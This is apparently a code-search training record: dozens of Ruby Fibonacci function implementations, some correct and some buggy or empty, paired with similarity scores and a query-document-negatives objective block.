"def fibonacci(number)\n if number < 2\n number\n else\n fibonacci(number - 1) + fibonacci(number - 2)\n end\nend",
"def fibonacci(number)\n if number < 2\n number\n else\n fibonacci(number - 1) + fibonacci(number - 2)\n end\nend",
"def fib(number)\n #start with 0 and 1\n fibonacci = [0,1]\n n = number - 2\n a = 0\n b = 1\n n.times do\n num = a\n a = b\n b += num\n fibonacci << b\n end\n return fibonacci\n end",
"def fibonacci(num)\n arr = []\n (1..num).each do |number|\n number == 1 || number == 2 ? arr << 1 : arr << arr[-1] + arr[-2]\n end\n arr.last\nend",
"def fibonacci(n)\n if n<=2\n [0,1].take(n)\n else\n arr = fibonacci(n-1)\n arr << arr[-2]+arr[-1]\n end\nend",
"def fibonacci(n)\n # arr = [] # 1,\n return [0] if n == 1\n return [0,1] if n <= 2\n\n value = fibonacci(n - 1) #[0,1]\n value << value[-1] + value[-2]\n # arr << fibonacci(n - 1)\n value\nend",
"def fibonacci(number)\n array = []\n if number == 0\n array\n else number == 1\n array = [0, 1]\n end\n\n while array.length < number\n array[array.length] = array[-2] + array[-1]\n end\n array\nend",
"def fibonacci(num)\n num <= 1 ? num : fibonacci( num - 1 ) + fibonacci( num - 2 ) \nend",
"def fib(array, num)\n (num-2).times do |x|\n array.push((array[-1] + array[-2]))\n end\n return array[num-1] \nend",
"def fib(n)\n return 0 if n == 0\n return 1 if n == 1\n \n\n fib(n - 1) + fib(n - 2)\nend",
"def fibonacci(n)\n return 0 if n == 0\n return 1 if n == 1\n\n fibonacci(n - 1) + fibonacci(n - 2)\nend",
"def fibonacci3(num)\n array = [0,1]\n def inner(num,array)\n array += [array[-1] + array[-2]]\n if array[-1] < num\n array = inner(num,array)\n end\n return array\n end\n array = inner(num,array)\n return array\nend",
"def fib(number)\n\narr = [0, 1]\n\n\ti = 0\n\t\n\twhile i < number - 2\t\t\n\t\tarr.push(arr[i] + arr[i+1])\n\t\ti += 1\n\tend\n\t\narr\t\nend",
"def fibonacci (integer)\n\tfib_arr = [0, 1]\n\t(integer-2).times do |index|\n\t\tresult = fib_arr[index+1] + fib_arr[index]\n\t\tfib_arr << result\n\tend\n\t\np fib_arr\nend",
"def fibonacci(num)\n return 1 if num == 1\n\n fibo_arr = [1, 1]\n\n until fibo_arr.size == num\n f = fibo_arr[-1] + fibo_arr[-2]\n fibo_arr << f\n end\n fibo_arr.pop\nend",
"def fibonacci(number)\n $counter += 1\n if number < 2\n number\n else\n fibonacci(number - 1) + fibonacci(number - 2)\n end\nend",
"def fibonacci( n )\n return n if n <= 1 \n fibonacci( n - 1 ) + fibonacci( n - 2 ) \nend",
"def fibonacci(n)\n if n == 0\n 1\n elsif n == 1\n 1\n else\n fibonacci(n-2) + fibonacci(n-1)\n end\nend",
"def fibonacci(n)\n\treturn 0 if n == 0\n\treturn 1 if n == 1\n\tfibonacci(n-1) + fibonacci(n-2)\nend",
"def fibonacci(number_output)\n fibonacci=[1] #default with only one number\n if number_output > 1\n fibonacci << 1 #second digit in fibonnacci sequence\n if number_output > 2\n #already has two numbers in array\n (number_output-2).times do |count|\n fibonacci << fibonacci[-1] + fibonacci[-2]\n end\n end\n end\n print fibonacci\nend",
"def fibonacci(n)\n raise ArgumentError, \"Not an integer larger than 0\" if !n || n < 0\n\n fib_array = [0, 1]\n i = 0\n\n if n == 0\n return 0\n elsif n == 1\n return 1\n else\n until i == (n - 1)\n fib_array << fib_array[i] + fib_array[i + 1]\n i += 1\n end\n end\n return fib_array[n]\nend",
"def fibonacci(n)\n return 0 if n == 1\n return 1 if n == 2\n return fibonacci(n-1)+fibonacci(n-2)\nend",
"def fibonacci_calculator(num)\n fib_arr = []\n\n\n if num == 0\n fib_arr = []\n return fib_arr\n elsif num == 1\n fib_arr = [0]\n return fib_arr\n elsif num == 2\n return fib_arr = [0,1]\n else\n fib_arr = [0,1]\n end\n\n while fib_arr.length < num\n fib_arr[fib_arr.length ] = fib_arr[-1] + fib_arr[-2]\n end\n\n return fib_arr\nend",
"def create_fibonacci(integer, array=[])\n\n return [] if integer <= 0\n\n array.size < 2 ? array << 1 : array << array[-2] + array[-1]\n\n if array.last >= integer\n array.pop\n return array\n end\n\n create_fibonacci(integer, array)\nend",
"def fibonacci(n)\n if n <= 2\n 1\n else\n fibonacci(n - 1) + fibonacci(n - 2)\n end\nend",
"def fib(num)\n if num == 0\n return 0\n elsif num == 1\n return 1\n else\n result = fib(num - 1) + fib(num - 2)\n return result\n end\nend",
"def fib(n)\r\n if n == 1 then\r\n 10\r\n elsif n == 0 then\r\n 1\r\n else\r\n fib(n - 1) + fib(n - 2)\r\n end\r\nend",
"def fibonacci(n)\n return 1 if n <= 2\n fibonacci(n - 1 ) + fibonacci(n - 2)\nend",
"def fib(number)\n if number == 0\n 0\n elsif number == 1\n 1\n else\n test= fib(number-1) + fib(number-2)\n puts \"adding number #{number-1} and #{number-2} = #{test}\"\n test\n end\nend",
"def fibonacci(n)\n return 1 if n <= 2\n \n fibonacci(n - 1) + fibonacci(n - 2)\nend",
"def fibonacci(number)\n array = [0, 1]\n index = 2\n until index == number\n last_number = array[index - 1] + array[index - 2]\n array.push(last_number)\n index += 1\n end\n return array[-1]\nend",
"def fibonacci(n)\n if n < 2\n n\n else\n fibonacci(n - 1) + fibonacci(n - 2)\n end\nend",
"def fibonacci(n)\n return 1 if n == 1\n return 1 if n == 2\n fibonacci(n - 1) + fibonacci(n - 2)\nend",
"def fibonacci_num(num)\n return 0 if num == 0\n return 1 if num == 1\n return 1 if num == 2\n fib_num = (fibonacci_num(num - 1)) + (fibonacci_num(num - 2))\nend",
"def fibonacci(n)\n if n <= 1\n return n\n else\n return fibonacci(n - 1) + fibonacci(n - 2)\n end\nend",
"def fibonacci(n)\n return 1 if n == 1 || n == 2\n\n fibs = [1, 1]\n\n while fibs.length < n\n fibs << fibs[-1] + fibs[-2]\n end\n\n fibs.last\nend",
"def fibonacci_creator(number)\nfib_arr = [0,1]\nindex = 2\nwhile index < number \nfib_num = fib_arr[-1] + fib_arr[-2]\nfib_arr << fib_num\n index +=1 \nend\nfib_arr[-1]\nend",
"def fibonacci(n)\n if n == 0 or n == 1\n return n\n else\n return fibonacci(n - 1) + fibonacci(n - 2)\n end\nend",
"def fibonacci(n)\n return 1 if n <= 2\n fibonacci(n - 2) + fibonacci(n - 1)\nend",
"def fibonacci(n)\n n = fibonacci( n - 1 ) + fibonacci( n - 2 ) if n > 1\n n\nend",
"def fibonacci (num)\n if num < 0\n puts \"error: cannot calcuate fibonacci of a negative number\"\n return 0\n elsif num == 0\n return 0\n elsif num == 1\n return 1\n end\n fibonacci(num - 1) + fibonacci(num - 2)\nend",
"def fibonacci(n)\n return 1 if n <= 2\n fibonacci(n - 1) + fibonacci(n - 2)\nend",
"def fibonacci(n)\n return 1 if n <= 2\n fibonacci(n - 1) + fibonacci(n - 2)\nend",
"def fibs(num)\n return [] if num == 0\n return [0] if num == 1\n return [0, 1] if num == 2\n\n prev_fibs = fibs(num - 1)\n prev_fibs << prev_fibs[-1] + prev_fibs[-2]\n\n prev_fibs\nend",
"def fib(n) \n if n == 0\n return 0\n else\n\tfib_0 = 0\n\tfib_1 = 1\n\t(1..(n-1)).each do \n\t\ttemp = fib_0\n\t\tfib_0 = fib_1\n\t\tfib_1 = temp + fib_1\n\t\t\n\tend\n\treturn fib_1\n end\nend",
"def fibonacci n\n return n if n < 2\n fibonacci(n - 1) + fibonacci(n - 2)\nend",
"def iterative_fibinacci(num)\n\tfib_container = [1,1]\n\t(num-2).times { fib_container << fib_container[-2] + fib_container.last }\n\tfib_container\nend",
"def fibonacci(integer)\n return 1 if integer <= 2\n\n fibonacci(integer - 1) + fibonacci(integer - 2)\nend",
"def fibonacci(n)\n fibo_array = [0, 1]\n if n > 1\n (n-1).times do |i|\n fibo_array.push(fibo_array[i] + fibo_array[i + 1])\n end\n end\n fibo_array[n]\nend",
"def fib(integer)\n\nfib_arr = [0,1]\n#declaring the beginning portion of the fibanocci sequence\nindex = 2\n#starting at two because the array is already filled with the 0 & 1 index's filled \n\tuntil index == integer \n# the integer will be the fib(x) for the sequence\n\tnext_number = fib_arr[-1] + fib_arr[-2]\n#the next number in the sequence will equal the last number in the array, represented by -1, and the second to\n#last number represented by -2 added together.\n\tfib_arr << next_number\n#feeding the next_number into the array\n\tindex += 1\n#changing to the next index in the array\n\tend\n\tputs fib_arr\n#printing the new array\nend",
"def fibonacci_basic(n)\n arr = [1, 1]\n return 1 if n == 1\n until arr.size == n\n arr << arr[-1] + arr[-2]\n end\n arr.last\nend",
"def fibonacci(num)\n return num if num < 2\n result = [0,1]\n until num == 1\n result << result[-1] + result[-2]\n num -= 1\n end\n result \nend",
"def fibonacci(current_num)\n return current_num if current_num < 2\n fibonacci(current_num -1) + fibonacci(current_num -2)\nend",
"def recursive_fibonacci(n)\nreturn [1] if n == 1 \nreturn [1,1] if n== 2\n# a = recursive_fibonacci(n-1)\n# b = a[-1]\n# c=a[-2]\n# a+=(b+c)\nrecursive_fibonacci(n-1)+([recursive_fibonacci(n-1)[-2]+recursive_fibonacci(n-1)[-1]])\n# +([recursive_fibonacci(n-1)[-1]]+[recursive_fibonacci(n-1)[-2]])\n#fibonacci(n)=fibonacci(n-1) +=(fibonacci(n-1)[-1]+fibonacci(n-1)[-2])\nend",
"def fibonacci(n)\n return [0,1].take(n) if n <= 2\n fib_seq = fibonacci(n-1)\n last_ele = fib_seq[-1] + fib_seq[-2]\n fib_seq << last_ele\nend",
"def fib(n)\n # your implementation here\n if n==0 then\n 1\n elsif n==1 then\n 1\n else \n fib(n-2) + fib(n-1)\n end\nend",
"def fibonacci(n)\n ary = [0, 1]\n (n - 1).times { |_| ary << ary[-2] + ary[-1] }\n ary.pop\nend",
"def fibonacci(num)\n return num if [0, 1].include? num\n fibonacci(num - 2) + fibonacci(num - 1)\nend",
"def fibonacci(n)\n return n if n == 1 || n == 0 \n fibonacci(n - 1) + fibonacci(n - 2)\nend",
"def fibonacci(n)\n if n == 1 || n == 2\n 1\n else\n fibonacci(n-1) + fibonacci(n-2)\n end\nend",
"def fibonacci(n)\n \nend",
"def fib(number)\n fib_array = [0,1]\n i = 2\n while i < number\n fibNum = fib_array[-1] + fib_array[-2]\n fib_array << fibNum\n i +=1\n end\n return fib_array[number-1]\nend",
"def fib(n)\n return [] if n == 0\n return [0] if n == 1\n return [0,1] if n == 2\n \n fibs = fib(n-1)\n fibs << fib(n-1)[-1] + fib(n-1)[-2] \nend",
"def fibonacci(n)\n raise ArgumentError.new if n.nil? || n < 0\n return n if n == 0\n\n array = [0, 1]\n i = 2\n while i <= n\n array[i] = array[i - 1] + array[i - 2]\n i += 1\n end\n\n return array.last\nend",
"def fibonacci(n)\n return [0] if n == 1\n return [0, 1] if n == 2\n\n prev_fibs = fibonacci(n - 1)\n prev_fibs << prev_fibs[-1] + prev_fibs[-2]\nend",
"def fibs(number)\n\n\tfibonacci=[1]\n\tcount=0\n\tnum1=1\n\tnum2=0\n\twhile fibonacci.size<number\n\t\tsum=num1+num2\n\t\tfibonacci.push(sum)\n\t\tnum2=num1\n\t\tnum1=sum\n\tend\n\n\treturn fibonacci\nend",
"def fibonacci (n)\r\n def calculation(n)\r\n a = 0\r\n b = 1\r\n\r\n # Compute Fibonacci number in the desired position.\r\n n.times do\r\n temp = a\r\n a = b\r\n # Add up previous two numbers in sequence.\r\n b = temp + b\r\n end\r\n\r\n return a\r\n\r\n end \r\n\r\n fib_results = []\r\n\r\n n.times do |n|\r\n\r\n result = calculation(n)\r\n fib_results << result\r\n end \r\n\r\n return fib_results\r\n\r\nend",
"def fibonacci(n)\n fib = [1, 1]\n while fib.size < n\n fib << fib[-1] + fib[-2]\n end\n fib.last\nend",
"def nthFibonacci (n)\r\n num = n.to_i\r\n fibonacci_sequence = Array.new\r\n case num\r\n when 0 \r\n fibonacci_sequence << 0\r\n when 1\r\n fibonacci_sequence << [0,1]\r\n else\r\n fibonacci_sequence[0] = 0\r\n fibonacci_sequence[1] = 1\r\n i = 1\r\n while i < num\r\n i+= 1\r\n fibonacci_sequence[i] = fibonacci_sequence[i-1] + fibonacci_sequence[i-2] \r\n end\r\n end\r\n return fibonacci_sequence\r\nend",
"def fibonacci(number)\n\n if number == 1 || number == 0 # launch school used \"number < 2\"\n number\n else\n fibonacci(number-1) + fibonacci(number-2)\n end\n\nend",
"def fibs_rec(num, fib = [0,1])\n if num == 1\n 0\n elsif num == fib.length\n fib\n else\n result = fib[fib.length - 2] + fib[fib.length - 1]\n fib.push(result)\n fibs_rec(num, fib)\n end\nend",
"def fibonacci(n)\n \nend",
"def fib(input_fibonacci)\n fib_array = []\n if input_fibonacci == 1\n fib_array.push(0)\n elsif input_fibonacci == 2\n fib_array.push(0)\n fib_array.push(1)\n else\n fib_array = [0, 1,]\n until fib_array.length == input_fibonacci\n fib_array.push(fib_array[-1]+fib_array[-2])\n end\n end\n p fib_array\nend",
"def fib(num)\n array= [0,1]\n\twhile (array.length < num)\n\t\tlast_nums = array[-2..-1]\n\t\tnew_number = last_nums.first + last_nums.last\n\t\tarray.push(new_number)\n\tend\n\tarray\nend",
"def fibonacci(n)\n \n return n if n == 1\n \n if n > 2 \n fibonacci(n-1) + fibonacci(n-2)\n else\n fibonacci(n-1)\n end\nend",
"def fibonacci_rec num \n return [1] if num == 1\n return [1, 1] if num == 2\n\n fib_arr = fibonacci_rec(num - 1) \n last = fib_arr[-1] + fib_arr[-2] \n fib_arr << last \n return fib_arr \nend",
"def fibonacci(n)\r\n return [] if n < 1\r\n return [1] if n == 1\r\n vet = [0, 1]\r\n (n - 2).times{vet << vet[vet.size-1] + vet[vet.size-2]}\r\n return vet\r\nend",
"def fib_method(n)\r\n\tfib_array = []\r\n\ti = 0\r\n\t\twhile i < n do\r\n\t\t\tif i == 0 || i == 1\r\n\t\t\tfib_array.push(i)\r\n\t\t\telse\r\n\t\t\tfib_array.push(fib_array[i-2] + fib_array[i-1])\r\n\t\t end\r\n\t\ti +=1 \r\n\tend \r\n\tfib_array\r\nend",
"def fib_test(num)\n\n return 1 if num == 1\n return 1 if num == 2\n arr = [1, 1]\n (3..num).map {|n| arr << fib_num(n-1) + fib_num(n-2) }\n # next_num = fib_num(num-1) + fib_num(num-2)\n # fib_test(num-1) + [next_num]\nend"
] | [
"0.90173095",
"0.893149",
"0.88415843",
"0.8812374",
"0.87966496",
"0.87907535",
"0.87907535",
"0.87704897",
"0.8757011",
"0.87508065",
"0.87498444",
"0.8740849",
"0.8740849",
"0.8719238",
"0.87175226",
"0.87175226",
"0.87102616",
"0.8702471",
"0.86989176",
"0.86873835",
"0.8686228",
"0.8686228",
"0.8686228",
"0.8686228",
"0.86808974",
"0.8656472",
"0.8654603",
"0.865359",
"0.864895",
"0.86306",
"0.8624486",
"0.86158085",
"0.86125755",
"0.8608464",
"0.85985917",
"0.85958016",
"0.8570526",
"0.85682803",
"0.8559987",
"0.8559773",
"0.855766",
"0.8556733",
"0.8553806",
"0.855251",
"0.85507655",
"0.8548808",
"0.85468763",
"0.85429347",
"0.85407215",
"0.8533639",
"0.85261",
"0.85234797",
"0.8518141",
"0.851709",
"0.8512062",
"0.85070115",
"0.85036457",
"0.8503459",
"0.8501677",
"0.8499488",
"0.8498919",
"0.84968656",
"0.8492926",
"0.84900707",
"0.84900707",
"0.8481785",
"0.8480286",
"0.84800494",
"0.84778345",
"0.8477281",
"0.84770143",
"0.8476265",
"0.847333",
"0.84724194",
"0.84684134",
"0.84655887",
"0.846231",
"0.8461624",
"0.8459484",
"0.8458698",
"0.84586596",
"0.8441629",
"0.8439877",
"0.8439661",
"0.8439453",
"0.8439315",
"0.8438409",
"0.8436958",
"0.8433719",
"0.8433313",
"0.8431403",
"0.84307754",
"0.84276795",
"0.8427096",
"0.84241056",
"0.84194607",
"0.84191453",
"0.8415167",
"0.8415134",
"0.8414949",
"0.8413889"
] | 0.0 | -1 |
Characterizes the file at 'filepath' if available, otherwise, pulls a copy from the repository and runs characterization on that file. | def perform(file_set, file_id, filepath = nil, user = nil)
@event_start = DateTime.current
@relation = file_set.class.characterization_proxy
file = file_set.characterization_proxy
raise "#{@relation} was not found for FileSet #{file_set.id}" unless file_set.characterization_proxy?
filepath = Hyrax::WorkingDirectory.find_or_retrieve(file_id, file_set.id) unless filepath && File.exist?(filepath)
characterize(
file: file,
filepath: filepath,
user: user,
file_set: file_set
)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def perform(file_set, file_id, filepath = nil)\n raise \"#{file_set.class.characterization_proxy} was not found for FileSet #{file_set.id}\" unless file_set.characterization_proxy?\n\n filepath = Hyrax::WorkingDirectory.find_or_retrieve(file_id, file_set.id) unless filepath && File.exist?(filepath)\n characterize(file_set, file_id, filepath)\n CreateDerivativesJob.perform_later(file_set, file_id, filepath)\n end",
"def add_filepath_to_source(filepath)\n\t\tFile.open(@source, 'r+') do |file|\n\t\t\tlines = self.get_source_content\n\t\t\tlines.push(filepath)\n\t\t\tlines.uniq!\n\t\t\tlines.sort!\n\t\t\tfile.puts lines.join(\"\\n\")\n\t\tend\n\tend",
"def characterize(save: true)\n TikaFileCharacterizationService.new(file_node: file_node, persister: persister).characterize\n external_metadata_service.characterize if external_metadata_service.valid?\n end",
"def characterize(save: true)\n unzip_original_file if zip_file?\n new_file = original_file.new(file_characterization_attributes.to_h)\n @file_set.file_metadata = @file_set.file_metadata.select { |x| x.id != new_file.id } + [new_file]\n @file_set = @persister.save(resource: @file_set) if save\n clean_up_zip_directory if zip_file?\n @file_set\n end",
"def characterize(save: true)\n TikaFileCharacterizationService.new(file_set: file_set, persister: persister).characterize\n end",
"def parse_file\n @filecontent ||= File.read(@filepath)\n end",
"def include_file(filepath)\n content = File.read(filepath)\n mime = MimeMagic.by_path(filepath)\n if mime.text?\n return content\n elsif mime.image?\n return Base64.strict_encode64(content)\n else\n raise \"File '${filepath}' of type '${mime}' can't be included as text\"\n end\n end",
"def translate_file(filename)\n f = File.read(filename)\n f = translate_title(f)\n f = translate_body(f)\n f = update_category(f)\n f\n end",
"def extract_text_from(filepath)\n extension = filepath.split('.').last\n textfile = extension ? filepath.gsub(extension, 'txt') : filepath + \".txt\"\n text = \"\"\n case extension\n when 'pdf'\n text = `pdftotext #{filepath} -`\n when 'doc'\n text = `antiword #{filepath}`\n when 'html'\n \"\"\n when 'txt'\n \"\"\n else\n \"\"\n end\n RAILS_DEFAULT_LOGGER.warn(\"text is #{text.size} characters long\")\n text\n end",
"def characterize\n validate_arguments!\n\n unless options[:param_file]\n error(\"Usage: mortar local:characterize -f PARAMFILE.\\nMust specify parameter file. For detailed help run:\\n\\n mortar local:characterize -h\")\n end\n\n #cd into the project root\n project_root = options[:project_root] ||= Dir.getwd\n unless File.directory?(project_root)\n error(\"No such directory #{project_root}\")\n end\n\n Dir.chdir(project_root)\n\n gen = Mortar::Generators::CharacterizeGenerator.new\n gen.generate_characterize\n\n controlscript_name = \"controlscripts/lib/characterize_control.py\"\n gen = Mortar::Generators::CharacterizeGenerator.new\n gen.generate_characterize\n script = validate_script!(controlscript_name)\n params = config_parameters.concat(pig_parameters)\n\n ctrl = Mortar::Local::Controller.new\n ctrl.run(script, pig_version, params)\n gen.cleanup_characterize(project_root)\n end",
"def open_in_file(filepath)\n File.open(filepath, 'rb')\n end",
"def customize_file(user_id, filename)\n\t handle = File.open(filename, 'r')\n\t content = handle.read\n\t \n\tend",
"def ocr_file(file_path)\n if !File.exist?(text_path(file_path))\n begin\n Docsplit.extract_text(file_path, :output => '../text')\n rescue\n end\n end\n\n text = \"\"\n text = File.read(text_path(file_path)) if File.exist?(text_path(file_path))\n return text\n end",
"def pull_file(path)\n @bridge.pull_file(path)\n end",
"def detect_charset(path)\n Process.run_command 'uchardet', path\n rescue Errno::ENOENT\n # :nocov:\n Process.run_command('encguess', path).sub(/^.*\\s+/, '')\n # :nocov:\n end",
"def characterize(save: true)\n [:original_file, :intermediate_file, :preservation_file].each do |type|\n @target_file = @file_set.try(type)\n next unless @target_file\n @file_object = Valkyrie::StorageAdapter.find_by(id: @target_file.file_identifiers[0])\n @dataset_path = filename\n unzip_original_file if zip_file?\n new_file = @target_file.new(file_characterization_attributes.to_h)\n @file_set.file_metadata = @file_set.file_metadata.select { |x| x.id != new_file.id } + [new_file]\n clean_up_zip_directory if zip_file?\n end\n @file_set = persister.save(resource: @file_set) if save\n @file_set\n end",
"def diacritize_file(path)\n texts = File.open(path).map do |line|\n line.chomp.strip\n end\n\n # process batches\n out_texts = []\n idx = 0\n while idx + @batch_size <= texts.length\n originals = texts[idx..idx+@batch_size-1]\n src = originals.map.each{|t| preprocess_text(t)}\n lengths = src.map.each{|seq| seq.length}\n ort_inputs = {\n 'src' => src,\n 'lengths' => lengths\n }\n preds = predict_batch(ort_inputs)\n\n out_texts += (0..@batch_size-1).map do |i|\n reconcile_strings(\n originals[i],\n combine_text_and_haraqat(src[i], preds[i])\n )\n end\n idx += @batch_size\n end\n\n # process rest of data\n while idx < texts.length\n out_texts += [diacritize_text(texts[idx])]\n idx += 1\n end\n\n out_texts\n end",
"def fetch!\n\n open(fetch_txt_file) do |io|\n \n io.readlines.each do |line|\n \n (url, length, path) = line.chomp.split(/\\s+/, 3)\n \n add_file(path) do |io|\n io.write open(url)\n end\n \n end\n \n end\n\n # rename the old fetch.txt\n Dir[\"#{fetch_txt_file}.?*\"].sort.reverse.each do |f|\n \n if f =~ /fetch.txt.(\\d+)$/\n new_f = File.join File.dirname(f), \"fetch.txt.#{$1.to_i + 1}\"\n FileUtils::mv f, new_f\n end\n \n end\n\n # move the current fetch_txt\n FileUtils::mv fetch_txt_file, \"#{fetch_txt_file}.0\"\n end",
"def convert_file filename, content, in_dir, out_dir, language\n # Convert the file\n converter = AutoHeathen::Converter.new( { logger: logger } )\n action = converter.get_action content.content_type\n logger.debug \" convert: #{File.basename(filename)}, content_type: #{content.content_type}, action: #{action}\"\n start_time = Time.now\n outfile, data = converter.convert action, language, filename, content\n logger.debug \" conversion took %0.2f s\"%[Time.now-start_time]\n\n # Save the file\n outfile = to_outfile in_dir, filename, out_dir, outfile\n logger.info \" writing file: #{outfile}\"\n File.open outfile, \"wb\" do |f|\n f.write data\n end\nend",
"def in_file(filename); end",
"def read_input_file(filename)\n output = File.open(filename, \"r\").read.delete!(\"\\r\")\n output.sanitize_unicode\n end",
"def read(path, rev=nil)\n if rev.nil?\n file = pathname(path)\n return file.read\n else\n git :show, %(#{rev}:\"./#{path.shellescape}\")\n end\n rescue\n raise FileNotFound, \"no such file in repo - #{path}\"\n end",
"def translate_file(inp, literal=false)\n pn = Pathname.new(inp)\n # check file exists\n if pn.exist?\n # open and read\n text = File.open(inp).read\n ruleset = text.gsub(/\\r\\n?/, \"\\n\").split(\"\\n\") # split into rules\n out = \"\"\n # feed rules into converter and put output into variable\n ruleset.each { |rule| out << \"#{Phomo2Sce.new(rule).to_sce(literal)}\\n\" }\n out # return translated file\n else\n puts \"Error! Could not find file with path #{inp}\"\n end\nend",
"def compile_file_from_path(filepath, options={})\n defaults = {:strict => true, :compress => false}\n options = defaults.merge options\n \n ext = filepath.split('/')[-1].split('.')[-1]\n if ext != 'wml'\n puts ext\n if options[:strict]\n raise Exception, \"Invalid extension for (#{filepath}). Must be .wml.\"\n else\n return\n end\n end\n \n file = File.open(filepath, 'rb')\n data = file.read\n \n html = Compiler.new(:text => data, :compress => options[:compress]).output\n \n temp = filepath.split('/')\n temp.pop()\n filename = temp.join('/') << '/' << filepath.split('/')[-1].split('.')[0] << '.html'\n File.open(filename, 'wb') {|f| f.write(html) }\nend",
"def read_file name\n\topen(\"https://raw.githubusercontent.com/NotEnoughIdea/Ideas/master/resources/#{name}.txt\").read\nend",
"def transliterate_whole_file_to_utf8!\n if ::UnixUtils.available?('iconv')\n local_copy.in_place :iconv, RemoteTable::EXTERNAL_ENCODING_ICONV, encoding\n else\n ::Kernel.warn %{[remote_table] iconv not available in your $PATH, not performing transliteration}\n end\n # now that we've force-transliterated to UTF-8, act as though this is what the user had specified\n @encoding = RemoteTable::EXTERNAL_ENCODING\n end",
"def mime_from_file(filepath)\n # moved here, as mimemagic can cause installation issues\n require 'mimemagic'\n require 'mimemagic/version'\n require 'mimemagic/overlay' if MimeMagic::VERSION.start_with?('0.3.')\n # check magic number inside file (empty string if not found)\n detected_mime=MimeMagic.by_magic(File.open(filepath)).to_s\n # check extension only\n if !SUPPORTED_MIME_TYPES.has_key?(detected_mime)\n Log.log.debug(\"no conversion for #{detected_mime}, trying extension\")\n detected_mime=MimeMagic.by_extension(File.extname(filepath)).to_s\n end\n detected_mime=nil if detected_mime.empty?\n Log.log.debug(\"mimemagic: #{detected_mime.class.name} [#{detected_mime}]\")\n return detected_mime\n end",
"def distro_file(filename)\n if File.exist?(file(filename))\n file(filename)\n else\n @distro.file(filename)\n end\n end",
"def process_file(filename, locale, output_locale)\n\n def assemble(templ, local)\n # If already assembling the string\n return local unless templ.is_a?(Hash)\n\n # If templ is a hash but local is nil, it means that the entire current \n # branch is not yet translated. Therefore create an empty hash to act as\n # placeholder\n local = {} if local.nil?\n\n # Recursing to traverse hash\n pairs = templ.collect { |k, v| [k, assemble(v, local[k])] }\n Hash[pairs]\n end\n\n def validate(node, path)\n if node.nil?\n puts \"Warning: path #{path} is nil. \"\n return\n end\n\n return unless node.is_a?(Hash)\n\n node.each { |k, v| validate(v, \"#{path}.#{k}\") }\n end\n\n puts \"Processing file #{filename} of locale #{locale}. \"\n\n # Directories\n locales_dir = Rails.root.join('config/locales')\n templ_dir = locales_dir.join('template')\n local_dir = locales_dir.join(locale)\n output_dir = locales_dir.join(output_locale)\n\n # Loading template\n templ_file = templ_dir.join(filename)\n templ = YAML::load_file(templ_file)['template']\n\n # If the topmost level of the template is not 'template'\n if !templ\n puts \"Warning: Template is nil for #{filename}. Aborting for this file. \"\n return\n end\n\n # Loading localized YAML\n local_file = local_dir.join(filename)\n local = File.exists?(local_file) ? YAML::load_file(local_file)[locale] : {}\n\n # Alert for new file creation\n puts \"Warning: Creating new file #{filename} of locale #{locale}. \" unless File.exists?(local_file)\n\n # Assemble localized strings into template file\n assembled = assemble(templ, local)\n\n # Validate to find missed translations\n validate(assembled, locale)\n\n # Output to file\n output_file = output_dir.join(filename)\n FileUtils.mkdir_p output_file.dirname\n content = {locale => assembled}.to_yaml\n File.open(output_file, 'w') { |f| f.write(content) }\n\n end",
"def parse_file(filename)\n # [review] - Rename method input param to filename (more verbose?)\n\n # Identify method entry\n debug_print \"#{ self } : #{ __method__ }\\n\"\n\n _relative_path = filename\n _absolute_path = File.absolute_path(filename)\n\n # Error check on input, use input filename to make sure relative path is correct\n if Watson::FS.check_file(_relative_path)\n debug_print \"Opened #{ _relative_path } for parsing\\n\"\n debug_print \"Short path: #{ _relative_path }\\n\"\n else\n print \"Unable to open #{ _relative_path }, exiting\\n\"\n return false\n end\n\n\n # Get filetype and set corresponding comment type\n _comment_type = get_comment_type(_relative_path)\n unless _comment_type\n debug_print \"Using default (#) comment type\\n\"\n _comment_type = ['#']\n end\n\n # Escape out comment type for safety\n # [review] - Is there a way to do inplace join?\n _comment_type = _comment_type.map { |comment| Regexp.escape(comment) }.join(\"|\")\n debug_print \"Comment type #{ _comment_type }\\n\"\n\n # [review] - It is possible to embed the valid tags in the regexp,\n # with a ~5% performance gain, but this would loose the warning about\n # unrecognized tags.\n _tag_format = Regexp.escape(@config.tag_format).gsub('\\\\ ', ' ')\n _tag_format_regex = _tag_format\n .gsub(\"TAG\", '(\\w+)')\n .gsub(\"COMMENT\", '(.+)')\n .gsub(' ' , '\\s+')\n\n _comment_regex = /^(?:\\s*[#{_comment_type}]+\\s*)+#{_tag_format_regex}/\n\n debug_print \"Comment regex: #{_comment_regex}\\n\"\n\n # Open file and read in entire thing into an array\n # Use an array so we can look ahead when creating issues later\n # [review] - Better var name than data for read in file?\n _data = File.read(_absolute_path).encode('UTF-8', :invalid => :replace).lines\n\n # Initialize issue list hash\n _issue_list = Hash.new()\n _issue_list[:relative_path] = _relative_path\n _issue_list[:absolute_path] = _absolute_path\n _issue_list[:has_issues] = false\n @config.tag_list.each do | _tag |\n debug_print \"Creating array named #{ _tag }\\n\"\n # [review] - Use to_sym to make tag into symbol instead of string?\n _issue_list[_tag] = Array.new\n end\n\n # Loop through all array elements (lines in file) and look for issues\n _data.each_with_index do |_line, _i|\n\n # Find any comment line with [tag] - text (any comb of space and # acceptable)\n # Using if match to stay consistent (with config.rb) see there for\n # explanation of why I do this (not a good good one persay...)\n begin\n _mtch = _line.match(_comment_regex)\n rescue ArgumentError\n debug_print \"Could not encode to UTF-8, non-text\\n\"\n end\n\n unless _mtch\n # debug_print \"No valid tag found in line, skipping\\n\"\n next\n end\n\n # Set tag\n _tag = _mtch[1].downcase\n\n # Make sure that the tag that was found is something we accept\n # If not, skip it but tell user about an unrecognized tag\n unless @config.tag_list.include?(_tag)\n formatter = Printer.new(@config).build_formatter\n formatter.print_status \"+\", GREEN\n print \"Unknown tag [#{ _tag }] found, ignoring\\n\"\n print \" You might want to include it in your RC or with the -t/--tags flag\\n\"\n next\n end\n\n # Found a valid match (with recognized tag)\n # Set flag for this issue_list (for file) to indicate that\n _issue_list[:has_issues] = true\n\n # [review] - This could probably be done better, elsewhere!\n # If it's a HTML or Handlebars comment, remove trailing -->, --}}\n if _mtch[0].match(/[<{]+(!--)?(#)?/)\n _title = _mtch[2].gsub(/(--)?(#)?[>}]+/, \"\")\n else\n _title = _mtch[2]\n end\n debug_print \"Issue found\\n\"\n debug_print \"Tag: #{ _tag }\\n\"\n debug_print \"Issue: #{ _title }\\n\"\n\n # Create hash for each issue found\n _issue = Hash.new\n _issue[:line_number] = 